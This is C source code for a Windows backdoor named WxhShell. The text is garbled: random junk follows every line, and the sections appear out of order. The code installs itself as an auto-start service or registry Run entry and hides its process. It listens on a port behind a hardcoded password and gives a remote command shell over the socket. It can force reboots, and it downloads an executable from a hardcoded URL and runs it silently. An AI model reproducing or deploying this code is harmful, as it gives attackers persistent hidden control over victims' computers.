    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]#dZLm_  
    else { q,]57s  
    closesocket(wsh); MT<3OKo?:  
    ExitThread(0); 0p=  
    } X:W}S/  
    break; r]&&*:  
    } EC?U#!kv  
  // 获取shell BXr._y, cr  
  case 's': { s "l ^v5  
    CmdShell(wsh); F>at^6^  
    closesocket(wsh); n yNHjn |W  
    ExitThread(0); jyC>~}?  
    break; hcQv!!Q"k$  
  } |2&|#K4k^  
  // 退出 uU1q?|4  
  case 'x': { BF U#FE)s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >2tosxH M  
    CloseIt(wsh); _? u} Jy_  
    break; N}q*(r!q<  
    } r8!M8Sc  
  // 离开 +N!/>w]n  
  case 'q': { |sDp>..  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sJ|IW0Mr  
    closesocket(wsh); 7/BA!V(na  
    WSACleanup(); 4<U6jB5  
    exit(1); @fd{5 >\  
    break; F=yE>[! LB  
        } ~PCS_  
  } T7Yg^ -"  
  } cQ/T:E7$`  
s=n_(}{ q  
  // 提示信息 <@=w4\5j9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x2+M0 }g  
} _2WIi/6K  
  } M:w]g`LKl  
u!cA_,  
  return; T\L LOx\  
} e{d$OzT) V  
;\t(c  
// shell模块句柄 ni3A+Y0  
int CmdShell(SOCKET sock) =Lr# *ep[  
{ r5&?-G  
STARTUPINFO si; ="]y^&(L(  
ZeroMemory(&si,sizeof(si)); 9R4q^tGR\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5<?/M<i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]BBjFs4#  
PROCESS_INFORMATION ProcessInfo; {4b8s%:!4  
char cmdline[]="cmd"; <nn!9V\C   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RQ[6svfP  
  return 0; e6^iakSd.L  
} uB 35CRd  
i%9xt1c_  
// 自身启动模式 /f -\ 3  
int StartFromService(void) JC4Z^/\.  
{ }C&kzJBEF  
typedef struct #:/-8Z(0  
{ Xr pnc 7  
  DWORD ExitStatus; ,U'E!?=:VS  
  DWORD PebBaseAddress; 1PT0<C-  
  DWORD AffinityMask; !,PoH  
  DWORD BasePriority; a5%IjgQ&z  
  ULONG UniqueProcessId; T8a!"lPP7  
  ULONG InheritedFromUniqueProcessId; PWs=0.Wj  
}   PROCESS_BASIC_INFORMATION; R~(_m#6`:  
uJ/ &!q<3  
PROCNTQSIP NtQueryInformationProcess; Cg&cz]*q|  
-44''w?z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !u|s| 6{\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sc&p*G  
`<d{(9:+  
  HANDLE             hProcess; 6w^Fee`>]  
  PROCESS_BASIC_INFORMATION pbi; gNzamorv[  
\+sP<'~M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :KJZo,\  
  if(NULL == hInst ) return 0; /<oBgFMoJ  
G7H'OB &  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rfxLCiV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )wz3 m L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )F4P-u  
6B>H75S+H  
  if (!NtQueryInformationProcess) return 0; /h73'"SpDy  
Iw) 'Yyg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qluaop  
  if(!hProcess) return 0; HCKj8-*  
Oe}6jcb6&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <3c|S_|L*m  
k/V:QdD Sb  
  CloseHandle(hProcess); 1\+d 5Q0  
S`GM#(t@_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *Ldno`1O  
if(hProcess==NULL) return 0; yTL<S'  
NKb,>TO  
HMODULE hMod; Qz/1^xy  
char procName[255]; m;KD@E!  
unsigned long cbNeeded; Se %"C&  
ZtqN8$[6n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N b@zn0A(;  
%QrpFE5 V5  
  CloseHandle(hProcess); au 5qbP  
;p'Ej'E  
if(strstr(procName,"services")) return 1; // 以服务启动 %{M&"Mv  
Qape DU;  
  return 0; // 注册表启动 G[5z3  
} F%>`?NG+c  
4I^8f||b_  
// 主模块 VCUEzR0  
int StartWxhshell(LPSTR lpCmdLine) sj0{;>>%+N  
{ 'w5g s}1D  
  SOCKET wsl; }H<87zH  
BOOL val=TRUE; |v%xOl  
  int port=0; o>Jr6: D(  
  struct sockaddr_in door; AjA.="3  
DQOEntw  
  if(wscfg.ws_autoins) Install(); ON<X1eU  
OAXF=V F#  
port=atoi(lpCmdLine); vtVc^j4  
b^]@8I[M  
if(port<=0) port=wscfg.ws_port; /DBldL7yi  
CERT`W%o  
  WSADATA data; ;v^1V+1:z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J  4OgV?  
,a /<t"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Cn>RUGoUsI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4w5mn6MxR  
  door.sin_family = AF_INET; Y^@Nvt$<K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1WW`%  
  door.sin_port = htons(port); R s)Nz< d  
dLn Md0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =Wj{J.7mf]  
closesocket(wsl); O}IRM|r"  
return 1; V,CVMbn/%N  
} IDpW5Dc  
}\Mmp+<  
  if(listen(wsl,2) == INVALID_SOCKET) { >'X[*:Cx  
closesocket(wsl); 60 z =bd]  
return 1; o|BEY3|  
} To"J>:l  
  Wxhshell(wsl); ir ^XZVR  
  WSACleanup(); wNgS0{}&`  
*N #{~  
return 0; ;K9rE3  
oH|<(8efD  
} .;xt{kK  
+ (|6Wv  
// 以NT服务方式启动 JxM[LvVi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !:^lTvYWZH  
{ n@Ar%%\  
DWORD   status = 0; wJQ"|  
  DWORD   specificError = 0xfffffff; otgU6S7F  
y.:Z:w6$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b0_Ih6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $h( B2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "2'pS<|  
  serviceStatus.dwWin32ExitCode     = 0; }QqmDK.  
  serviceStatus.dwServiceSpecificExitCode = 0; 6X@$xe847[  
  serviceStatus.dwCheckPoint       = 0; dNL<O   
  serviceStatus.dwWaitHint       = 0; a5AD$bP  
Q{0!N8']"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E{Ux|r~  
  if (hServiceStatusHandle==0) return; JBKCa 3  
ZRd,V~iz  
status = GetLastError(); ZOK,P  
  if (status!=NO_ERROR) Dqw?3 KB  
{ Z/S7ei@56  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VTt{ 0 ~  
    serviceStatus.dwCheckPoint       = 0; QP {V  
    serviceStatus.dwWaitHint       = 0; +=/FKzT<  
    serviceStatus.dwWin32ExitCode     = status; WI$MT6  
    serviceStatus.dwServiceSpecificExitCode = specificError; , 9C~%c0Pw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C<.Ny,U  
    return; "/zIsn7  
  } =#"ZO  
`bdCom  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #&cNR_"w  
  serviceStatus.dwCheckPoint       = 0; *N;# _0)/  
  serviceStatus.dwWaitHint       = 0; RN%*3{-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,'m<YTF  
} *"pf3x6  
#H@rb  
// 处理NT服务事件,比如:启动、停止  H?(I-vO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &7YTz3aj  
{ W_E0+  
switch(fdwControl) {|kEGq~aE  
{ o=1M<dL  
case SERVICE_CONTROL_STOP: 6?3f+=e"~!  
  serviceStatus.dwWin32ExitCode = 0; =V@5W[bV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~ j`; $o  
  serviceStatus.dwCheckPoint   = 0; 1%nE  
  serviceStatus.dwWaitHint     = 0; FesXY856E  
  { [Ie;Jd>gG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J}9 I5O  
  } DhAQ|SdCf  
  return; A80r@)i  
case SERVICE_CONTROL_PAUSE: tX$ v)O|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |Ts|>"F'  
  break; {iI" Lt  
case SERVICE_CONTROL_CONTINUE: X7*i -v@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VqeK~,}  
  break; : ;nvqbd  
case SERVICE_CONTROL_INTERROGATE:  J(  
  break; M%evk4_27  
}; ]R$ u3F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I+?9}t  
} B3lP#ckh  
m;S!E-W  
// 标准应用程序主函数 avb'J^}f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BP6|^Q  
{ [LQD]#  
LtxeT .  
// 获取操作系统版本 vt`V<3  
OsIsNt=GetOsVer(); cF[L6{Oe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FC:+[.fi  
DRn]>IFU  
  // 从命令行安装  IwfJDJJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8<Y*@1*j  
W?n)IBj8  
  // 下载执行文件 .@  3  
if(wscfg.ws_downexe) { z)RJUmY3B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JFyw,p&xB  
  WinExec(wscfg.ws_filenam,SW_HIDE); {*Ag[HS0u  
} Gd:TM]rJ  
F.s*^}L[  
if(!OsIsNt) { t4RI%m\  
// 如果时win9x,隐藏进程并且设置为注册表启动 &.zG?e.  
HideProc(); 't+ J7  
StartWxhshell(lpCmdLine); V6:S<A  
} `FjU2 O  
else J 8z|ua  
  if(StartFromService()) "h-G=vo,kl  
  // 以服务方式启动 <}@*i  
  StartServiceCtrlDispatcher(DispatchTable); XA&Vtgu  
else oV)#s!  
  // 普通方式启动 DHUK_#!  
  StartWxhshell(lpCmdLine); zPonG d1  
U.fL uKt  
return 0; X7cqAi  
} 3KyIBrdi?  
+:a#+]g  
=i4%KF9 x  
PJ-EQ6W  
=========================================== zz)[4G  
KlMSkdmW  
3tO=   
M@k8;_5  
l@ amAusE  
CNo'qlvF5N  
" qT<OiIMj^  
B<99-7x3  
#include <stdio.h> kq{PM-]l  
#include <string.h> x6i7x"  
#include <windows.h> M+7&kt0;  
#include <winsock2.h> A5UZUU^  
#include <winsvc.h> Xjy5Yj  
#include <urlmon.h> U?bQBHIC  
*{t]fds  
#pragma comment (lib, "Ws2_32.lib") EO&PabZWR  
#pragma comment (lib, "urlmon.lib") > FVBn;1  
{Dc{e5K  
#define MAX_USER   100 // 最大客户端连接数 Io|3zE*<  
#define BUF_SOCK   200 // sock buffer >1}RiOd3  
#define KEY_BUFF   255 // 输入 buffer 4"om;+\  
I%^Bl:M  
#define REBOOT     0   // 重启 K1th>!JW'  
#define SHUTDOWN   1   // 关机 6n|R<DO%\  
:7WeR0*%  
#define DEF_PORT   5000 // 监听端口 BHNcE*U}@?  
CAbeb+O  
#define REG_LEN     16   // 注册表键长度 9J*M~gKbz  
#define SVC_LEN     80   // NT服务名长度 X j>?P/=Z  
pR3@loFQ`o  
// 从dll定义API >@Nn_d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m-< "`:+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X,] E {  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LU-,B?1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c:J;Q){Xz  
ii3{HJ*C  
// wxhshell配置信息 \ah.@s  
struct WSCFG { A~@u#]]<n  
  int ws_port;         // 监听端口 (~6D`g`B  
  char ws_passstr[REG_LEN]; // 口令 W~!uSrY  
  int ws_autoins;       // 安装标记, 1=yes 0=no lYF~CNvE  
  char ws_regname[REG_LEN]; // 注册表键名 m@Q%)sc)  
  char ws_svcname[REG_LEN]; // 服务名 c%jW'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ezq<)gJc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S'h{["P~ 0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q':P9 o*N?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =tKb7:KU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (GeOD V?U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hxB` hu-  
`kRv+Qwfa  
}; Z\\'0yuY(  
^Fn~@'  
// default Wxhshell configuration B24,;2J  
struct WSCFG wscfg={DEF_PORT, xJ);P.  
    "xuhuanlingzhe", 7;8#iS/  
    1, `|rr<Tsy\  
    "Wxhshell", [U^@Bkh  
    "Wxhshell", R5,ISD +s  
            "WxhShell Service", ;Y^.SR"  
    "Wrsky Windows CmdShell Service", ;VS\'#{e  
    "Please Input Your Password: ", h1(GzL%i_  
  1, +o4W8f=Ga  
  "http://www.wrsky.com/wxhshell.exe", fz[-pJ5[  
  "Wxhshell.exe" _Nx#)(x  
    }; o^\L41x3  
yP~O C|Z  
// 消息定义模块 1MPn{#Ff  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J"$Y`;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x1O]@Z{d\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M[= #%U3*N  
char *msg_ws_ext="\n\rExit."; !eC]=PoY  
char *msg_ws_end="\n\rQuit."; +kj d;u#  
char *msg_ws_boot="\n\rReboot..."; ?a]1$>r  
char *msg_ws_poff="\n\rShutdown..."; OgOs9=cE{  
char *msg_ws_down="\n\rSave to "; q83!PI  
Y) ig:m]#  
char *msg_ws_err="\n\rErr!"; ~ Pm[Ud  
char *msg_ws_ok="\n\rOK!"; @hG]Gs[,o  
OsGKlWM/  
char ExeFile[MAX_PATH]; dfa^5`_  
int nUser = 0; sN8)p%'Lg  
HANDLE handles[MAX_USER]; vJ a?5Jr  
int OsIsNt; *#| lhf'  
}jI=*  
SERVICE_STATUS       serviceStatus; rIhe}1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w vQ.9  
?O|CY  
// 函数声明 UWPzRk#s"  
int Install(void); l2S1?*  
int Uninstall(void); =iFI@2  
int DownloadFile(char *sURL, SOCKET wsh); 8wX|hK!Gz  
int Boot(int flag);  (%\tE  
void HideProc(void); 7_^JgA|Kk7  
int GetOsVer(void); dBG5IOD  
int Wxhshell(SOCKET wsl); 'Cp]Q@]\  
void TalkWithClient(void *cs); 's>./Pf  
int CmdShell(SOCKET sock); :rdnb=n  
int StartFromService(void); }R\;htmc;  
int StartWxhshell(LPSTR lpCmdLine); \Q~HL_fy|Y  
LPRvzlY=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R/|2s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h%[1V  
DQ{"6-  
// 数据结构和表定义 @krh<T6|  
SERVICE_TABLE_ENTRY DispatchTable[] = U'Mxf'q  
{ =*\(Y (0  
{wscfg.ws_svcname, NTServiceMain}, xfFsW^w  
{NULL, NULL} "~nUwW|=1  
}; d"#& VlKcv  
SU$%nK)  
// 自我安装 7W7yjG3g  
int Install(void) z<~yns`Y.  
{ O ,Sqh$6U  
  char svExeFile[MAX_PATH]; }%lk$g';  
  HKEY key; !hc#il'g].  
  strcpy(svExeFile,ExeFile); l(j._j~p  
q Xj]O3 mm  
// 如果是win9x系统,修改注册表设为自启动 >713H!uj  
if(!OsIsNt) { 62Q`&n6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ ~U,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l2ww3)Z  
  RegCloseKey(key); Y2&hf6BE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G{!adBna  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #BOLq`9 f  
  RegCloseKey(key); 6EY W:o  
  return 0; 11Y4oS  
    } ])vWvNx  
  } 4Mr)~f rc  
} 0\tdxi  
else { TMAart; <  
3zsjL=ta  
// 如果是NT以上系统,安装为系统服务 in>.Tax*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K[s!3.u  
if (schSCManager!=0) _uQxrB"9  
{ qQ^ bUpk0  
  SC_HANDLE schService = CreateService FS^ie|8{D-  
  ( )>+J`NFa  
  schSCManager, _Y 8RP%  
  wscfg.ws_svcname, Cu-z`.#}R  
  wscfg.ws_svcdisp, O[|prk,  
  SERVICE_ALL_ACCESS, j#D( </T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .'Rz tBv  
  SERVICE_AUTO_START, v_L?n7c  
  SERVICE_ERROR_NORMAL, 'ngx\Lr  
  svExeFile, 7a5G,C#QQ  
  NULL, UkzLUok]U  
  NULL, 9zac[t no  
  NULL, J=7<dEm&  
  NULL, f J$>VN  
  NULL =+>^:3cCQ  
  ); E7AYK&  
  if (schService!=0) -s,guW |  
  { &O;' ?/4 S  
  CloseServiceHandle(schService); %YV3-W8S0  
  CloseServiceHandle(schSCManager); m14OPZ<3?-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %5-   
  strcat(svExeFile,wscfg.ws_svcname); M?G4k]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -xMM}r y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @mRda %qR  
  RegCloseKey(key); v#ERXIrf  
  return 0; [D= KI&@&O  
    } GGF;4  
  } "Wz74ble  
  CloseServiceHandle(schSCManager);  FtmI\,  
} +~l`rJ  
} @(I)]Ca%O  
snti*e4"V  
return 1; Rf0F`D k  
} yIG*  
0OF]|hH  
// 自我卸载 nA 5-P}  
int Uninstall(void) LAcK%  
{ OdHl)"#  
  HKEY key; MB3 0.V/\  
,?(IRiq%  
if(!OsIsNt) { u .R   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y - Ge"mY  
  RegDeleteValue(key,wscfg.ws_regname); _;8+L\  
  RegCloseKey(key); o:nh3K/YJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b]XDfe  
  RegDeleteValue(key,wscfg.ws_regname); D! $4  
  RegCloseKey(key); l.AG^b  
  return 0; ~RIn7/A  
  } 1EcXvT=  
} n1+,Pe*)  
} bP3S{Jt-|  
else { ^_o9%)RL(  
F]k$O$)0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [bZASeh  
if (schSCManager!=0) <lFQ4<"m  
{ s\dhQZw3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $bo 5:c  
  if (schService!=0) /Q*cyLv  
  { m~U2 L  
  if(DeleteService(schService)!=0) { eHQ3K#M#  
  CloseServiceHandle(schService); oNa*|CSE>  
  CloseServiceHandle(schSCManager); & GM&,  
  return 0; vddh 2G  
  } 8j%hxAV$  
  CloseServiceHandle(schService); "F8A:tR  
  } 8"2X 8C8  
  CloseServiceHandle(schSCManager); .p d_SQ~  
} L7 f'  
} Wzx Dnd<B  
50J"cGs~  
return 1; Q?"-[6[v  
} XF=GmkO  
F G5e{  
// 从指定url下载文件 o;<oXv  
int DownloadFile(char *sURL, SOCKET wsh) MF%>avRj  
{ wD'LX  
  HRESULT hr; SYZS@o  
char seps[]= "/"; b*@y/ e\u`  
char *token; ?iQA>P9B  
char *file; f7Fr%*cO  
char myURL[MAX_PATH]; 4RU/y+[o  
char myFILE[MAX_PATH]; Ne 9R u'B6  
p/GYfa dU  
strcpy(myURL,sURL); AroXf#.  
  token=strtok(myURL,seps); xs ^$fn\  
  while(token!=NULL) ecgGl,{  
  { "Ca?liy  
    file=token; 2 - ?  
  token=strtok(NULL,seps); *q/oS8vavd  
  } v\gCgx=%j  
-+#g.1UL/  
GetCurrentDirectory(MAX_PATH,myFILE); 7<?~A6  
strcat(myFILE, "\\"); tzFgPeo$;  
strcat(myFILE, file); ;q6FdS  
  send(wsh,myFILE,strlen(myFILE),0); B\z4o\am%  
send(wsh,"...",3,0); SOPQg?'n=V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %`Q<_LTU  
  if(hr==S_OK) -A A='s  
return 0; Axtf,x+lH  
else R9B!F{! 5  
return 1; 3"OD"  
B U^3Ux$  
} ,'69RL?-Wg  
u  teI[Q  
// 系统电源模块 (&x#VmDL  
int Boot(int flag) K[( h2&  
{ &v#*  
  HANDLE hToken; #[a+m  
  TOKEN_PRIVILEGES tkp; 1*!`G5c,}  
{Noa4i  
  if(OsIsNt) { ua -cX3E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (8*& 42W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y"U -Rc  
    tkp.PrivilegeCount = 1; i C nWb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fGD#|a;,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b1A8 -![  
if(flag==REBOOT) { Zk.LGYz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'nFqq:2Xa  
  return 0; ZJxUv {J  
} (|PxR#{l<  
else { %kg%ttu7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7TC=$y ,  
  return 0; #sq$i  
} _=.f+1W  
  } 9rn[46s`  
  else { >|[74#}7  
if(flag==REBOOT) { MOIH%lpe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5r:SBt|/  
  return 0; i-b++R/WN  
} b]NSCu*)s  
else { G^]7!:0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J=gerdIk  
  return 0; lF\oEMd*  
} C>qKKLZ  
} +##b}?S%  
$Qv+*%c  
return 1; ~8-Z=-  
} [kyF|3k~  
C NNyz$  
// win9x进程隐藏模块 mGXjSWsd  
void HideProc(void) ^]$x/1I;  
{  wv2  
y6lle<SIu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WJ9=hr  
  if ( hKernel != NULL ) J/j?;qx]j  
  { Xw=>L#Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DFz,>DM;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); oXc!JZ^  
    FreeLibrary(hKernel); L//Z\xr|  
  } Wh:SZa|  
['MG/FKuv  
return; 5_ @8g+~  
} m q`EM OH  
iR9 $E  
// 获取操作系统版本 4*4s{twG  
int GetOsVer(void) 8xQ5[Ov  
{ zUM;Qwl  
  OSVERSIONINFO winfo; *N .f_s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (>x4X@b  
  GetVersionEx(&winfo); =8r%zLDw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wjF/c  
  return 1; h7NS9CgO  
  else jB*%nB*x  
  return 0; ZkW,  
} ?*~W  
bUf2uWy7  
// 客户端句柄模块 [<Wo7G1s  
int Wxhshell(SOCKET wsl) lCDu,r;\  
{ 2Y)3Ue  
  SOCKET wsh; *7C t#GC  
  struct sockaddr_in client; +s:!\(BM  
  DWORD myID; }@Ij}Ab>  
`/:ZB6  
  while(nUser<MAX_USER) _-&\~w  
{ ~Cx07I_lf  
  int nSize=sizeof(client); [lpzUB}<Yp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |hjm^{!TpW  
  if(wsh==INVALID_SOCKET) return 1; ~n$VCLa  
fPf8hz>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ca@0?q#  
if(handles[nUser]==0) 9Xt5{\PJ  
  closesocket(wsh); ErK5iTSD  
else -aDGXQM{~  
  nUser++; /vi>@a  
  } m]8rljo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4tR:O#($V  
$9DV }  
  return 0; sv0) sL  
} d0y [:  
CA)DQYp{  
// 关闭 socket "P<IQx  
void CloseIt(SOCKET wsh) gnW `|-:\  
{ 6fhH)]0  
closesocket(wsh); 0Zp) DM  
nUser--; Y]aVa2!Wb  
ExitThread(0); MzRws f  
} D.zEE-cGyb  
Vv4 w?K  
// 客户端请求句柄 k/A8 |  
void TalkWithClient(void *cs) 4k5X'&Q  
{ _jOu`1w  
Ah,X?0+  
  SOCKET wsh=(SOCKET)cs; GsG.9nd  
  char pwd[SVC_LEN]; !rzbm&@  
  char cmd[KEY_BUFF]; )-q#hY  
char chr[1]; dd#=_xe  
int i,j; \jDD=ew  
ufE;rcYE  
  while (nUser < MAX_USER) { XBE+O7  
A*jU&3#  
if(wscfg.ws_passstr) { M=$ qus  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zdFO&YHTw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?El8:zt?|  
  //ZeroMemory(pwd,KEY_BUFF); VMPBM:k G  
      i=0; ?IR]y-r  
  while(i<SVC_LEN) { ,U+y)w]ar  
W 86`R  
  // 设置超时 <R)%K);  
  fd_set FdRead; K' xN>qc  
  struct timeval TimeOut; \ s^a4l 2  
  FD_ZERO(&FdRead); q(sEN!^L`  
  FD_SET(wsh,&FdRead); P` Hxj> {  
  TimeOut.tv_sec=8; InnjZ>$  
  TimeOut.tv_usec=0; @j*K|+X"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (3Hz=k_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R57>z`;  
@>n7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kR2kV"-l  
  pwd=chr[0]; "]\sw"zO?  
  if(chr[0]==0xd || chr[0]==0xa) { D#}t)$"  
  pwd=0; n qSjP5  
  break; ME"B1 Se\  
  } n1+1/  
  i++; ?.t naE  
    } ru#,pJ=O(  
LT7C>b  
  // 如果是非法用户,关闭 socket -FRMal4Pg0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |[apLQ6  
} h"Qp e'D}  
&[u%ZL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )Qe<XJH!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 77D>;90>?  
jFbj)!;  
while(1) { h3 -y}.VjG  
Bx9R!u5D  
  ZeroMemory(cmd,KEY_BUFF); Ws%@SK  
jdz]+Q`jq  
      // 自动支持客户端 telnet标准   GCaiogiBg  
  j=0; }+/j/es{]  
  while(j<KEY_BUFF) { B:Y"X:Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iNj*G j  
  cmd[j]=chr[0]; g\_J  
  if(chr[0]==0xa || chr[0]==0xd) { xQLVFgd  
  cmd[j]=0; @r7ekyO8)  
  break; /Kcp9Qx  
  } P2la/jN  
  j++; bMe/jQuL.$  
    } f793yCiG  
zh8\ _> +  
  // 下载文件 +9LIpU&5  
  if(strstr(cmd,"http://")) { HK_Vk\e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); = BcKWC  
  if(DownloadFile(cmd,wsh)) []^fb,5a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <'WS -P%U  
  else M_ *KA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S7i,oP7  
  } ViZ Tl~  
  else { u^2)oL  
VcI'+IoR?  
    switch(cmd[0]) { [;6,lI}  
  C_CUk d[  
  // 帮助 (*qMs)~]B  
  case '?': { fcaUj9qN  
